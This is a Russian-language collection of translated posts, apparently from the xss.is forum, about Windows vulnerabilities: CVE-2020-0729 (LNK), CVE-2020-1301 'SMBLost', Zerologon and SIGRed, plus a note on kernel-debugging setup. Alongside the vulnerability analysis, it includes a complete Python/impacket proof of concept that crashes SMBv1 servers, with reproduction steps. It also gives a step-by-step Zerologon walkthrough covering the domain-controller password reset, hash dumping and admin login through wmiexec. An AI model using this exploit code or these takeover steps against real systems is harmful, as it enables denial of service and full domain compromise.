Объект Condition обычно является объектом "Leaf Condition" или "Compound Condition", который содержит ряд вложенных объектов, обычно включая один или несколько объектов Leaf Condition и, возможно, дополнительные объекты Compound Condition. Оба объекта условия начинаются со следующей структуры:
Condition GUID будет {52F15C89-5A17-48E1-BBCD-46A3F89C7CC2} для Leaf Condition
и {116F8D13-101E-4FA5-84D4-FF8279381935} для Compound Condition. Поле
Attributes состоит из структур атрибутов, где количество структур атрибутов
определяется полем "Number of Attributes". Каждая структура атрибута
соответствует элементу атрибута из файла .search-ms и начинается со следующей
структуры:
Остальная структура атрибута зависит от AttributeID и CLSID. Для вышеупомянутого атрибута CONDITION_HISTORY идентификатор attributeID установлен на {9554087B-CEB6-45AB-99FF-50E8428E860D} и имеет CLSID {C64B9B66-E53D-4C56-B9AE-FEDE4EE95DB1}. Оставшаяся структура будет объектом ConditionHistory, имеющим следующую структуру. Обратите внимание, что поля названы так же, как совпадающие атрибуты элемента XML атрибута:
Если значение has_nested_condition больше нуля, атрибут CONDITION_HISTORY будет иметь вложенный объект условия, который сам может иметь вложенные атрибуты с вложенными условиями и так далее.
Как только атрибут верхнего уровня полностью прочитан, включая все вложенные структуры, структуры Compound Condition и Leaf Condition начинают различаться. Остающаяся структура Compound Condition выглядит следующим образом со смещениями относительно конца поля атрибутов:
Поле numFixedObjects определяет, сколько дополнительных условий (обычно Leaf Condition) будет выполнено немедленно.
Остающаяся структура Leaf Condition следующая со смещениями относительно конца поля Attributes:
Наличие структур TokenInformationComplete зависит от того, установлен ли предыдущий флаг. Если он не установлен, структура отсутствует, и сразу следует следующий флаг. Если он установлен, присутствует следующая структура:
Таким образом, следующее дерево показывает простейшую возможную структуру файла LNK с сохраненным поиском, с удаленными для простоты нерелевантными структурами:
Помните, что поиск с одним Leaf Condition дает простейшую структуру. Чаще всего сохраненный файл LNK поиска начинается с Compound Conditio и множества вложенных структур, включая множество Leaf Conditions.
Уязвимость
Теперь, когда мы объяснили основную структуру сохраненного файла LNK поиска, мы можем взглянуть на саму уязвимость, которая заключается в том, как обрабатывается поле PropertyVariant в Leaf Condition.
Поле PropertyVariant в Leaf Condition примерно соответствует структуре PROPVARIANT. Структуры PropertyVariant состоят из 2-байтового типа, за которым следуют данные, относящиеся к этому типу. Важно отметить, что StructuredQuery, похоже, имеет слегка настраиваемую реализацию структуры PROPVARIANT, поскольку байты заполнения, указанные в спецификации Microsoft, обычно отсутствуют.
Также важно отметить, что значение 0x1000 или VT_VECTOR в сочетании с другим типом означает, что будет несколько значений указанного типа.
Анализ поля PropertyVariant обрабатывается нашей ранее упомянутой уязвимой функцией StructuredQuery1 :: ReadPROPVARIANT (). Функция сначала считывает 2-байтовый тип и проверяет, установлен ли VT_ARRAY (0x2000) из-за того, что он не поддерживается в StructuredQuery:
Затем функция проверяет, является ли тип VT_UI4 (0x0013), и если нет, вводит оператор switch для обработки всех других типов.
Сама уязвимость заключается в том, как обрабатывается PropertyVariant с типом VT_VARIANT (0x000C). Тип VT_VARIANT обычно используется в сочетании с VT_VECTOR, что эффективно приводит к серии структур PropertyVariant. Другими словами, это похоже на массив, члены которого могут иметь любой тип данных.
Когда тип PropertyVariant установлен в VT_VARIANT (0x000C), проверяется поле полного типа, чтобы увидеть, установлен ли VT_VECTOR.
Если VT_VECTOR не установлен, 24-байтовый буфер выделяется с помощью вызова CoTaskMemAlloc(), и буфер передается рекурсивному вызову ReadPROPVARIANT() с намерением, чтобы буфер был заполнен свойством, которое сразу же следует за полем VT_VARIANT. Однако буфер не инициализируется (например,заполнены байтами NULL) перед передачей в ReadPROPVARIANT().
Если вложенное свойство имеет тип VT_CF (0x0047), свойство, предназначенное для содержания указателя на данные буфера обмена, ReadPROPVARIANT() выполняет ту же проверку для VT_VECTOR и, если он не установлен, пытается записать следующие 4 байта потока в место, указанное 8-байтовым значением в ранее выделенном 24-байтовом буфере.
Поскольку буфер не был инициализирован, данные будут записаны в неопределенную ячейку памяти, что может привести к выполнению произвольного кода. Попытку записи данных можно увидеть в следующем исключении и частичной трассировке стека из WinDBG с включенной Page Heap в explorer.exe:
По сути, если злоумышленник может правильно манипулировать компоновкой памяти, чтобы неинициализированный буфер содержал значение, которое он контролирует, он может записывать любые данные по 4 байта за раз в адрес памяти по своему выбору.
Вывод
Анализ исправленной уязвимости был бы неполным без упоминания способа устранения уязвимости. В этом конкретном случае решение было простым; заполните вновь выделенный 24-байтовый буфер байтами NULL, гарантируя, что злоумышленник не сможет использовать данные в буфере, оставшиеся от предыдущих использований этой области памяти. Microsoft выпустила свой патч в феврале. Следует отметить, что Microsoft устранила еще одну уязвимость LNK в марте, но мартовский патч не имеет отношения к этой конкретной ошибке.
Особая благодарность Джону Симпсону и Пенгсу Ченгу из исследовательской группы Trend Micro за столь тщательный анализ этой уязвимости.
Источник: <https://www.thezdi.com/blog/2020/3/25/cve-2020-0729-remote-code-
execution-through-lnk-files>
Автор перевода: yashechka
Переведено специально для https://xss.is
SMB (Server Message Block) недавно был описан в CVE-2020-0796, также известном как "SMBGhost". Эта уязвимость находится в протоколе Microsoft Server Message Block 3.1.1 (SMBv3) и затрагивает только новые операционные системы, от Windows 10 версии 1903 до Windows 10 версии 1909. Из-за опасений новой атаки "червей" на SMBv2/v3 компании могли совершить ошибку, временно отключив версию SMBv2/v3 в пользу SMBv1. Такое действие противоречит рекомендации Microsoft CVE-2020-0796, которая заключается в отключении только сжатия SMBv3. Но в целом Microsoft рекомендует не переустанавливать SMBv1. Этот старый протокол имеет известные проблемы с безопасностью в отношении программ-вымогателей и других вредоносных программ. Например, мы можем вспомнить как эксплойт "Eternal Blue", так и способ распространения "Wannacry".
В рамках этой статьи мы подтвердим рекомендации Microsoft через наше недавнее открытие о новой уязвимости SMBv1, которая затрагивает, вероятно, все версии Windows. Последнее происходит из специально созданного запроса SMB_COM_NT_TRANSACT, который приводит к проблеме целочисленного недополнения (underflow). Эта ошибка вызывает запись в ядре за пределами диапазона из данных, находящихся под контролем злоумышленника. Значит, размера нет. Поэтому получение удаленного выполнения кода (RCE) кажется возможным, но, вероятно, будет трудно сделать его надежным.
В целом, эта уязвимость CVE-2020-1301, названная "SMBLost", гораздо менее опасна, чем уязвимости "SMBGhost" или "Eternal Blue", поскольку требует наличия двух важных предварительных условий:
- Во-первых, необходимо иметь учетные данные пользователя для подключения к
удаленной общей папке.
- Второе встречается реже. Казалось бы, на сервере должен быть общий доступ к
разделу, например, "c:", "d:" и так далее. Однако даже если такая
конфигурация иногда выполняется для удовлетворения определенных требований, мы
не совсем уверены, что это единственный способ достичь уязвимости.
Этот анализ уязвимостей был достигнут в версии 10.0.19041.1 драйвера srv.sys.
На протяжении всей статьи драйвер SMBv1 извлекался из последней предварительной версии Windows Insider Preview (WIP), что означает, что это может повлиять на все версии Windows.
Disclaimer: эта статья предназначена для ознакомления с нашими недавними исследованиями SMBv1 только с точки зрения безопасности, а также в образовательных целях. Мы не несем ответственности за любое использование или неправильное использование этого анализа, такого как этот технический отчет или предоставленное POC.
Анализ уязвимости
В этой главе будет представлен подход, используемый для обнаружения этой уязвимости, а также полное понимание проблемы. Соответственно, команды и подкоманды SMBv1 будут кратко рассмотрены, прежде чем переходить к реальным задействованным командам CVE-2020-1301. В частности, читатель может узнать, что отправка IOCTL/FSCTL в файл, размещенный на удаленном сервере, является встроенной функцией SMB.
Команды SMBv1
SMBv1 - это многофункциональный и сложный протокол сетевой связи, обеспечивающий такие функции, как детальный доступ к общим ресурсам (файлам, принтерам или последовательным портам) и межпроцессный механизм с проверкой подлинности (именованные каналы), который широко используется для собственной реализации Microsoft DCE/RPC через SMB, известный как MSRPC.
Таким образом, протокол SMBv1 предлагает около 80 конкретных команд. Наиболее частые, с которыми вы, вероятно, сталкивались:
- SMB_COM_CREATE_DIRECTORY (0x00) и SMB_COM_DELETE_DIRECTORY (0x01)
- SMB_COM_OPEN (0x02) и SMB_COM_CLOSE (0x04)
- SMB_COM_FLUSH (0x05) и SMB_COM_DELETE (0x06)
- SMB_COM_READ (0x0A) и SMB_COM_WRITE (0x0B)
- SMB_COM_TREE_CONNECT (0x70) и SMB_COM_WRITE_TREE_DISCONNECT (0x71)
- и многие другиеClick to expand...
Кроме того, некоторые из этих команд SMBv1 могут содержать такие подкоманды, как:
- Подкоманды транзакции в части SMB_COM_TRANSACTION (0x25)
- Подкоманды транзакции в части SMB_COM_TRANSACTION2 (0x32)
- Подкоманды транзакции в части SMB_COM_NT_TRANSACT (0xA0)Click to expand...
И, как будто этого было недостаточно, подкоманда может также содержать подкоманды, то есть под-подкоманды. Учитывая эту большую поверхность атаки, это будет похоже на поиск иголки в стоге сена. Однако при чтении оглавления документа MS-CIFS[1] мое внимание привлекла одна команда. NT_TRANSACT_IOCTL кажется знакомым людям, имеющим дело с драйверами ядра. На самом деле исследователь уязвимостей, нацеленный на программные продукты на базе ОС Windows, будет искать наличие драйверов ядра. Этот вид компонентов часто является хорошим кандидатом для поиска локального повышения привилегий (LPE). Основной подход - иметь дело с IOCTL драйвера. Таким образом, погружение в команду NT_TRANSACT_IOCTL кажется логической точкой входа для обнаружения удаленного отказа в обслуживании или, еще лучше, удаленного выполнения кода (RCE) с повышением привилегий.
Таким образом, в следующей главе мы сосредоточимся на команде SMB_COM_NT_TRANSACT с подкомандой NT_TRANSACT_IOCTL. Этот запрос используется для отправки IOCTL или FSCTL (управления файловой системой) на файловый сервер.
Комбо уязвимых команд
Команда SMB_COM_NT_TRANSACT была введена в диалекте NT LAN Manager. Этот запрос отправляется клиентом для указания операций на сервере, таких как открытие файла, создание файла, управление вводом-выводом устройства, уведомление об изменении каталога, а также установка и запрос дескрипторов безопасности.
В предыдущей главе мы видели, что команда SMB_COM_NT_TRANSACT состоит из списка кодов подкоманд, также известных как коды "подкоманд NT". Эти подкоманды изначально указаны в разделе 2.2.2.2 [MS-CIFS][1]. Затем дополнительные коды были добавлены в раздел 2.2.2.2 [MS-SMB][2]. Наконец, доступно всего девять команд. Среди них нас особенно интересует NT_TRANSACT_IOCTL.
В этом отчете об уязвимости мы не будем анализировать все поля, принадлежащие заголовку SMB или структурам SMB_COM_NT_TRANSACT/NT_TRANSACT_IOCTL. Будут выделены только самые важные.
Во-первых, он начинается с поля команды заголовка SMB. Это однобайтовый код, которому будет присвоено значение 0xA0, соответствующее запросу SMB_COM_NT_TRANSACT. Такая команда включает два блока SMB:
- Блок параметров, который содержит структуру параметров конкретного
сообщения с именем SMB_Parameters. Он будет содержать как код подкоманды
NT_TRANSACT_IOCTL (0x02), так и код IOCTL/FSCTL.
- Блок данных, который содержит структуру данных для конкретного сообщения с
именем SMB_Data. Он будет содержать полезные данные для требуемой операции
IOCTL/FSCTL.
Далее, подкоманда NT Transaction IOCTL, также представленная в диалекте NT LAN Manager, предназначена для прозрачной передачи функций IOCTL и FSCTL от клиента к серверу. В общем, эта команда полезна для отправки на сервер информации о платформе или реализации.
Смотрите рисунок 2 ниже, описание IOCTL транзакции NT из выдержки из таблицы кодов транзакций [1]:
IOCTL и FSCTL могут быть глобальными или специфичными для базового хранилища объектов сервера. Вот почему они указаны как в [MS-CIFS][1], так и в [MS- SMB][2].
Блок параметров запроса NT_TRANSACT_IOCTL состоит из двух важных полей:
- SMB_COM_NT_TRANSACT.Function поле, которое является подкомандой
SMB_COM_NT_TRANSACT
- Поле SMB_COM_NT_TRANSACT.Setup, которое указывает, какой IOCTL/FSCTL должен
быть вызван
Смотрите рисунок 3 ниже, установка структуры как часть этого запроса NT_TRANSACT_IOCTL:
FunctionCode идентифицирует управляющий код метода FSCTL/IOCTL, который можно рассматривать как подкоманду команды NT_TRANSACT_IOCTL.
В настоящее время нам рекомендуется возобновить выполнение всех команд и подкоманд, задействованных в таком запросе. Сморите рисунок 4 ниже:
Обратите внимание на первое появление значения 0x00090100, это просто код FSCTL, который будет использоваться для запуска уязвимости.
Из параграфа 2.3 структуры FSCTL [MS-FSCC] [3] мы извлекаем следующее описание:
Процесс вызывает FSCTL для дескриптора, чтобы выполнить действие с файлом или каталогом, связанным с дескриптором. Когда сервер получает запрос FSCTL, он должен использовать информацию в запросе, которая включает дескриптор и, необязательно, буфер входных данных, чтобы выполнить запрошенное действие. Как сервер выполняет действие, запрошенное FSCTL, зависит от реализации.
Существует около 40 FSCTL, и для каждого из них требуется много реверс- инжиниринга. Как исследователь уязвимостей, я применяю одну личную методику: всегда начинать с конца. На этот раз это окупилось. Вероятно, будет немного удачи, потому что уязвимый FSCTL - всего лишь второй с конца.
Смотри рисунок 5 ниже, краткую выдержку из таблицы FSCTL [MS-FSCC] [3]:
Из приведенной выше таблицы читатель теперь может определить имя уязвимого FSCTL (0x90100), то есть FSCTL_SIS_COPYFILE.
Фактически, комбинация SMB_COM_NT_TRANSACT, NT_TRANSACT_IOCTL и FSCTL_SIS_COPYFILE относится к запросу FSCTL_SIS_COPYFILE [4].
Наконец, пожалуйста, посмотрите рисунок 6 ниже, захват пакета, который выделяет все важные поля FSCTL_SIS_COPYFILE:
Последняя зеленая граница соответствует полезным данным, которые будут обрабатываться как часть этого FSCTL. Ошибка возникает при обработке этого байтового потока. Итак, давайте углубимся в данные FSCTL_SIS_COPYFILE.
Уязвимость FSCTL_SIS_COPYFILE
Прежде всего, SIS - это аббревиатура от Single-Instance Store. Это относится к
архитектуре, разработанной для поддержки дублирующихся файлов с минимальными
затратами на диск, кэш и резервные носители. Этот механизм похож на
инкрементное резервное копирование.
После создания первоначального полного резервного копирования на устройство
резервного копирования фактически копируются только новые или измененные
файлы.
Как объяснялось ранее, этот CVE-2020-1301 включает запрос SMB_COM_NT_TRANSACT с подкомандой NT_TRANSACT_IOCTL, которая, в свою очередь, требует подкоманды, то есть FSCTL. В этом контексте FSCTL_SIS_COPYFILE (0x90100) просит сервер скопировать указанный исходный файл в указанный целевой файл, создав ссылку SIS вместо фактического копирования данных файла. Обратите внимание, что этот FSCTL может быть выдан для дескриптора файла или каталога.
Такой запрос содержит элемент данных SI_COPYFILE. Смотри рисунок 7 ниже, его представление:
- SourceFileNameLength - 32-битное целое число без знака, которое содержит размер в байтах элемента SourceFileName, включая нулевой символ завершающего Unicode.
- DestinationFileNameLength - это 32-битное целое число без знака, которое содержит размер в байтах элемента DestinationFileName, включая завершающий нулевой символ Unicode
- Флаги - это 32-битное целое число без знака, содержащее нулевые значения или значения флагов.
- SourceFileName - строка Unicode с завершающим нулем, содержащая имя исходного файла.
- DestinationFileName - строка Unicode с завершающим нулем, содержащая имя файла назначения.
Click to expand...
Прежде чем перейти к месту уязвимости, мы шаг за шагом изучим, как может быть вызвана эта проблема.
Смотри рисунок 8 ниже, значения SI_COPYFILE, которые были установлены для активации уязвимости:
Проблема возникает из-за того, что в поле DestinationFileNameLength установлен один байт. Следовательно, поле DestinationFileName также состоит из одного 8-битного символа (одного байта). По идее, код, обрабатывающий запрос FSCTL_SIS_COPYFILE, должен отклонять этот кадр. Фактически, поскольку имя файла назначения является строкой Unicode, длина имени файла должна быть четным числом. Из-за этой ошибки программирования все проверки безопасности для DestinationFileNameLength успешно пройдены. Последний не будет ни нулевым, ни превышающим общую длину полученных данных.
Пожалуйста, посмотрите рисунок 9 ниже, код с дизассемблера, который показывает нам эти проверки:
После прохождения этих проверок драйвер проверяет, являются ли имена файлов источника и назначения строкой Unicode с завершающим нулем. В нашем конкретном случае однобайтовая длина DestinationFileName приводит к недоразумению, которое позволяет проверять последние 2 байта исходного файла вместо байтов имени файла назначения.
Смотри рисунок 10 ниже код, который приводит к этому неожиданному поведению:
Регистр rdx указывает на имя файла назначения, которое поступает из запроса FSCTL_SIS_COPYFILE. Длина этого имени файла равна одному байту, поэтому инструкция "shr" приводит к следующему вычислению "1 >> 2". Соответственно, регистр rax будет равен 0. Инструкция "cmp" предназначена для проверки, является ли последний символ имени файла NULL. В этом контексте эта инструкция приводит к сравнению последних двух байтов исходного имени файла из-за вычитания с "-2". Действительно, мы получаем следующие результаты:
[rdx+rax*2-2] ⬄ [pDestinationFileNameBegin+0*2–2] ⬄ [pSourceFileNameEnd]
Click to expand...
Затем драйвер должен построить полный путь к именам файлов источника и назначения, к которым будет добавлен префикс с именем общего ресурса. Фактически, это самая важная часть срабатывания уязвимости. В самом деле, чтобы достичь уязвимости, имя общего ресурса должно любой ценой иметь обратную косую черту ("") перед завершающим нулем символом. После нескольких попыток совместного использования файлов способ состоит в том, чтобы предоставить общий доступ к разделу, например, "c:" или "[d:](https://xss.as/D%3A/)". Однако читатель может предложить мне другие способы добиться такого поведения.
Смотри рисунок 11 ниже код, который показывает два пути выполнения в соответствии с последним символом имени общего ресурса, который является либо NULL, либо символом обратной косой черты:
Как только используется путь выполнения с обратной косой чертой, мы все ближе и ближе подходим к последствиям бага.
Смотри рисунок 12 ниже, код, на котором выделено целочисленное переполнение (underflow):
Как вы можете видеть на рисунке 12, значение "2" вычитается из регистра "ebx", который представляет длину имени файла назначения. Поскольку эта длина установлена в один байт, мы получаем регистр "ebx", равный значению 0xffffffff. Это также означает -1. Затем эта вычисленная длина сохраняется в локальной переменной с меткой ":l_dwDestinationFilenameLength". Наконец, вызывается функция SrvAllocatePagedPool() для выделения целевого буфера из выгружаемого пула.
Смотри рисунок 13 ниже, вызов функции memcpy, который приводит к переполнению пула:
Авария произойдет из-за того, что драйвер пытается скопировать байты 0xffffffff из целевого файла, находящегося под нашим контролем, в ранее выделенный буфер SMB1. Последний используется в качестве целевого буфера memcpy.
Смотри рисунок 14 ниже, снимок экрана сеанса Windbg перед вызовом функции memcpy:
На рисунке 14 мы можем заметить:
- Выделен зеленой рамкой буфер назначения, который выделяется из выгружаемого пула длиной 260 байт.
- Выделено синей рамкой, начало данных SI_COPYFILE, которые отправляются из нашего специально созданного запроса
- Выделен желтой рамкой исходный буфер с некоторыми нежелательными данными, чтобы показать, что мы можем контролировать то, что копируется.
- Выделена красной рамкой длина данных, которые будут скопированы (0xffffffff); Это значение не находится под нашим контролемClick to expand...
В этом контексте мы получаем BSOD (синий экран смерти). Однако кажется разумным рассмотреть вариант RCE (удаленное выполнение кода), хотя, вероятно, будет сложно сделать его надежным.
Proof of Concept
Этот код основан на использовании библиотеки impacket для облегчения обработки пакетов SMB по сети.
Наконец, смотри рисунок 15 ниже, POC, ведущей к отказу в обслуживании:
Python:Copy to clipboard
#!/usr/bin/python
from scapy.all import *
from impacket import smb
import sys, getopt
def main(argv):
try:
opts, args = getopt.getopt(argv,"ht:u:p:",["target=", "username=", "password="])
except getopt.GetoptError:
print './CVE-2020-1301_poc.py -t <target>'
sys.exit(2)
target_ip = "192.168.1.1"
username = ""
password = ""
for opt, arg in opts:
if opt == '-h':
print './CVE-2020-1301_poc.py -t <target>'
sys.exit()
elif opt in ("-t", "--target"):
target_ip = arg
elif opt in ("-u", "--user"):
username = arg
elif opt in ("-p", "--password"):
password = arg
'''
IOCTL Code: 0x090100 is FSCTL_SIS_COPYFILE
'''
s = smb.SMB('*SMBSERVER', target_ip)
s.login(username, password, '')
tid = s.tree_connect_andx(r"\\*SMBSERVER\C")
print "tid = %d" % tid
fName = 'share\\1.txt'
fid = s.open_andx(tid, fName, smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0]
print "fid = %d" % fid
try:
s2 = smb.NewSMBPacket()
cmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
cmd['Parameters'] = smb.SMBNTTransaction_Parameters()
cmd['Data'] = smb.SMBNTTransaction_Data()
IoctlCode = 0x90100
setup = smb.pack('<L', IoctlCode)
setup += smb.pack('<H', fid)
setup += 'a' * 2
name = ''
param = ''
size = 10
data = smb.pack('<L', size) # SourceFileNameLength
data += smb.pack('<L', 1) # DestinationFileNameLength
data += smb.pack('<L', 0x00000002) # Flags
data += '\x00' * (size-1) # SourceFileName (variable)
data += '\x00' # DestinationFileName (variable)
data += '\x00\x00'
data += '\x41' * 16
data += '\x42' * 16
data += '\x43' * 16
data += '\x44' * 16
data += 'Exploit me! ;-)'
cmd['Parameters']['MaxSetupCount'] = 0x55
cmd['Parameters']['TotalParameterCount']= len(param)
cmd['Parameters']['TotalDataCount'] = len(data)
cmd['Parameters']['MaxParameterCount'] = 0x55
cmd['Parameters']['MaxDataCount'] = 0x55
cmd['Parameters']['ParameterCount'] = len(param)
cmd['Parameters']['ParameterOffset'] = 0x20+0x03+0x1c+len(setup)+len(name)
cmd['Parameters']['DataCount'] = len(data)
cmd['Parameters']['DataOffset'] = 0x20+0x03+0x26+len(setup)+len(name)+len(param)
cmd['Parameters']['Function'] = 0x0002
cmd['Parameters']['Setup'] = setup
cmd['Data']['Pad1'] = ''
cmd['Data']['NT_Trans_Parameters'] = param
cmd['Data']['Pad2'] = ''
cmd['Data']['NT_Trans_Data'] = data
s2.addCommand(cmd)
s2['Tid'] = tid
smb.SMB.sendSMB(s,s2)
except smb.SessionError, e:
print e
if __name__ == "__main__":
main(sys.argv[1:])
Воспроизведение уязвимости
Чтобы воспроизвести отказ в обслуживании, смотри следующие шаги:
- Если нет, включите SMBv1 на целевой машине. В PowerShell введите следующую команду:
Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
- Поделиться файлом на диске (разделом). Для предоставленного эксплойта требуется каталог "C:".
- Создайте файл "1.txt" в папке "C:\share", чтобы получить "C:\share\1.txt".
- Этот POC разработан на Python и основан на библиотеке Impacket: скопируйте и используйте приведенный выше код.
Пример использования следующий:
"./CVE-2020-1301_poc.py -u user1 -p user1 -t 192.50.13.37".
- Целевая машина, вероятно, упала. Если нет, попробуйте еще разClick to expand...
Демонстрация
Это демо было протестирована на Windows 10 Pro версии 2004, которая является частью Windows Insider Preview.
Следующая команда должна вызвать уязвимость.
./CVE-2020-1301.py -u user1 -p user1 -t 192.50.13.37
Click to expand...
Как только уязвимость срабатывает, мы видим следующий BSOD на рисунке 17:
Для дальнейшего анализа более точную информацию можно получить из сеанса Windbg. В частности, такая информация, как значения регистров или стек вызовов.
График раскрытия информации
Microsoft быстро отреагировала на эту проблему, чтобы подтвердить уязвимость и устранить проблему.
- 28 марта 2020 в MS сообщается об уязвимости
- 22 апреля 2020 статус установлен на "Разработка" от MS
- 9 июня 2020 уязвимость исправлена в соответствии с CVE-2020-1301.
- 9 июня 2020 Airbus публикует отчет, связанный с CVE-2020-1301.
**Ссылки
[1] **[MS-CIFS]: Common Internet File System (CIFS) Protocol
[https://docs.microsoft.com/en-us/op.../ms-
cifs/d416ff7c-c536-406e-a951-4f04b2fd1d2b](https://docs.microsoft.com/en-
us/openspecs/windows_protocols/ms-cifs/d416ff7c-c536-406e-a951-4f04b2fd1d2b)
[2][MS-SMB]: Server Message Block (SMB) Protocol
[https://docs.microsoft.com/en-us/op...s/ms-
smb/f210069c-7086-4dc2-885e-861d837df688](https://docs.microsoft.com/en-
us/openspecs/windows_protocols/ms-smb/f210069c-7086-4dc2-885e-861d837df688)
[3][MS-FSCC]: File System Control Codes
[https://docs.microsoft.com/en-us/op.../ms-
fscc/efbfe127-73ad-4140-9967-ec6500e66d5e](https://docs.microsoft.com/en-
us/openspecs/windows_protocols/ms-fscc/efbfe127-73ad-4140-9967-ec6500e66d5e)
[4] FSCTL_SIS_COPYFILE Request
[https://docs.microsoft.com/en-us/op.../ms-
fscc/2ceb5108-f6e4-484e-be43-863a16a5b69a](https://docs.microsoft.com/en-
us/openspecs/windows_protocols/ms-fscc/2ceb5108-f6e4-484e-be43-863a16a5b69a)
Источник: <https://airbus-cyber-security.com/diving-into-the-smblost-
vulnerability-cve-2020-1301/>
Автор перевода: yashechka
Переведено специально для https://xss.is
Эксплуатация Zerologon (CVE-2020-1472) на Windows Server 2019
Это статья описывает эксплуатацию Zerologon на Windows Server 2019. Подробную информацию об уязвимости можно прочитать (<https://www.kaspersky.ru/blog/cve-2020-1472-domain-controller- vulnerability/29085/>). В качестве ОС с которой будет проходить эксплуатация используется Kali Linux 2020.2.
Статья поможет начинающим пентестерам использовать данную уязвимость при проведении аудитов, а также специалистам по информационной безопасности проверить корпоративный домен на наличие уязвимости Zerologon.
Представим по шагам каждый этап эксплуатации Zerologon
0) ставим необходимый софт:
{ git clonehttps://github.com/SecuraBV/CVE-2020-1472 ; cd CVE-2020-1472/ ; pip install -r requirements.txt } – скачивание скрипта для проверки наличия уязвимости Zerologon на контроллере домена и установка необходимых зависимостей. Данный скрипт только проводит проверку, без сброса пароля.
{ git clonehttps://github.com/risksense/zerologon.git ; cd zerologon/ ; pip install -r requirements.txt } – скачивание скрипта для сброса пароля контроллера домена и установка необходимых зависимостей
{ sudo git clonehttps://github.com/SecureAuthCorp/impacket.git /opt/impacket ; sudo pip3 install -r /opt/impacket/requirements.txt ; sudo python3 /opt/impacket/setup.py install } – Установка последней версии impacket
2) Переходим в папку со скаченным скриптом zerologon и запускаем скрипт
3) Среди полученных хэшей находим учетную запись администратора домена и подключаемся с помощью ее хэша к контроллеру домена с помощью утилиты impacket-wmiexec { impacket-wmiexec -hashes NTLM_HASH_ ADMIN_DOMAIN DOMAIN/admin_domain@ dc_ip_addr -codec 866 } (параметр codec 866 нужен чтобы не ломалась кодировка при подключении к Win серверу на русскому языке) Для восстановления предыдущего пароля контроллера домена, после подключения к домену с помощью утилиты impacket-wmiexec необходимо выполнить команды:
4) Далее с помощью утилиты impacket-secretsdump извлекается
оригинальный пароль учетной записи контроллера домена{ impacket-secretsdump
-sam sam.save -system system.save -security security.save LOCAL } Нужно
скопировать хэш из второй строчки $MACHINE.ACC (показано на скрине что именно
нужно копировать). Далее скопированный хэш нужно вставить в скрипт
reinstall_original_pw.py :
5)Если контроллер домена обновлен и в нём отсутствует уязвимость, при
запуске скриптов будут сообщения указанные на скриншоте ниже.
Всем спасибо за прочтение, надеюсь материал будет кому-то интересен и полезен.
Ссылки:
Статья специально дляhttps://xss.is
Автор Tommy56
В этой теме буду публиковать переводы вот
[отсюда](https://www.ired.team/miscellaneous-reversing-
forensics/windows-kernel-internals)
Спасибо heybabyone за материал.
Если есть предложения что перевести, для них есть
тема
Часть 1 - Настройка среды отладки ядра с помощью kdnet и WinDBG Preview
Это небольшая заметка, показывающая, как начать отладку ядра Windows с помощью
[kdnet.exe](https://docs.microsoft.com/en-us/windows-
hardware/drivers/debugger/debugger-download-tools) и WinDBG Preview (новый
WinDBG, который вы можете получить в Windows Store).
Термины
На Debuggee
Скопируйте kdnet.exe и VerifiedNICList.xml на хост отладки. Получите эти файлы
с хоста, на котором установлен Windows Development Kit, в C: \Program Files (x86)\Windows Kits\10\Debuggers\x64
:
В привилегированой консоли:
Bash:Copy to clipboard
kdnet 192.168.2.79 50001
Ниже показано, как kdnet выводит команду, которую необходимо запустить на хосте отладчика:
Bash:Copy to clipboard
windbg -k net:port=50001,key=1dk3k2bprui6m.26vzkoub4jmjl.3v6rvfqjys3ek.6kyxal1u1w6s
Скопируйте, сохраните в блокноте и перезагрузите debugee.
На Debugger
В WinDBG Preview перейдите к: Начать отладку>Присоединиться к ядру и введите
порт и ключ, полученный при запуске kdnet на debuggee:
Нажмите OK, и теперь вы должны быть готовы начать отладку хоста 192.168.2.68:
*В оригинале сдесь gif, но он почему-то отказался подгружаться на форум
Ссылки
![docs.microsoft.com](/proxy.php?image=https%3A%2F%2Flearn.microsoft.com%2Fen- us%2Fmedia%2Fopen-graph- image.png&hash=9d6f0d18756f3d99ae462d15c3a265f8&return_error=1)
](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/setting- up-a-network-debugging-connection-automatically)
Learn how to use KDNET to configure network kernel debugging automatically for the Windows debugging tools.
docs.microsoft.com
Эксплуатация SIGRed (CVE-2020–1350) на Windows Server 2012/2016/2019
Автор: Worawit Wangwarunyoo, Исследовательская группа DATAFARM, Datafarm Company Limited
Это статья описывается эксплуатацию (RCE) SIGRed (CVE-2020–1350) на Windows Server 2012 R2 - Windows Server 2019. Подробную информацию об уязвимости смотри в публикации исследовательской группы ([https://research.checkpoint.com/202...ing-a-17-year-old-bug-in-windows-dns- servers/](https://research.checkpoint.com/2020/resolving-your-way-into-domain- admin:-exploiting-a-17-year-old-bug-in-windows-dns-servers/))
Подготовка серверов имен
Чтобы сократить количество шагов по настройке доменного имени, я настраиваю "Conditional Forwarders" на целевом DNS-сервере Windows, как показано на рисунке ниже. Пока я использую dnslib для создания своего вредоносного DNS- клиента и сервера для домена "evildns.com".
Вызов ошибки
Если мы просто проследим за публикацией checkpoint, чтобы вызвать ошибку, мы, скорее всего, закончим сбоем внутри функции memcpy, вызываемой из dns!SigWireRead.
Причина в том, что SIG Resource Record размещается в конце кучи процесса. Для запуска ошибки необходимо перезаписать прошлый буфер записи SIG размером около 64 КБ, поэтому функия memcpy попытается выполнить запись за текущее пространство кучи, которое является недопустимой областью памяти. Если мы дампим память вокруг адреса, который вызвал сбой, мы видим, что адрес недействителен.
Чтобы эксплуатировать переполнения кучи, обычно мы должны знать внутреннюю кучу и некоторую структуру объекта, которая размещена в куче.
Диспетчер кучи WinDNS
WinDNS управляет собственными пулами памяти. Есть 4 сегмента пула памяти (dns!StandardAllocLists) для разных размеров распределения (0x50, 0x68, 0x88, 0xa0). Если требуемый размер выделения больше 0xa0, WinDNS будет использовать нативную кучу Windows (с функциями HeapAlloc и HeapFree).
Ниже приведен псевдокод для функции dns!Mem_Alloc используемой для динамически выделяемой памяти в dns.
Далее идет псевдокод для функции dns!Mem_Free, используемой для освобождения памяти, выделенной функцией Mem_Alloc
После реверс-инжиниринга функций Mem_Alloc и Mem_Free мы можем увидеть некоторые проблемы, которые помогают нам эксплуатировать уязвимость.
Куча WinDNS никогда не возвращает память в нативную кучу Windows
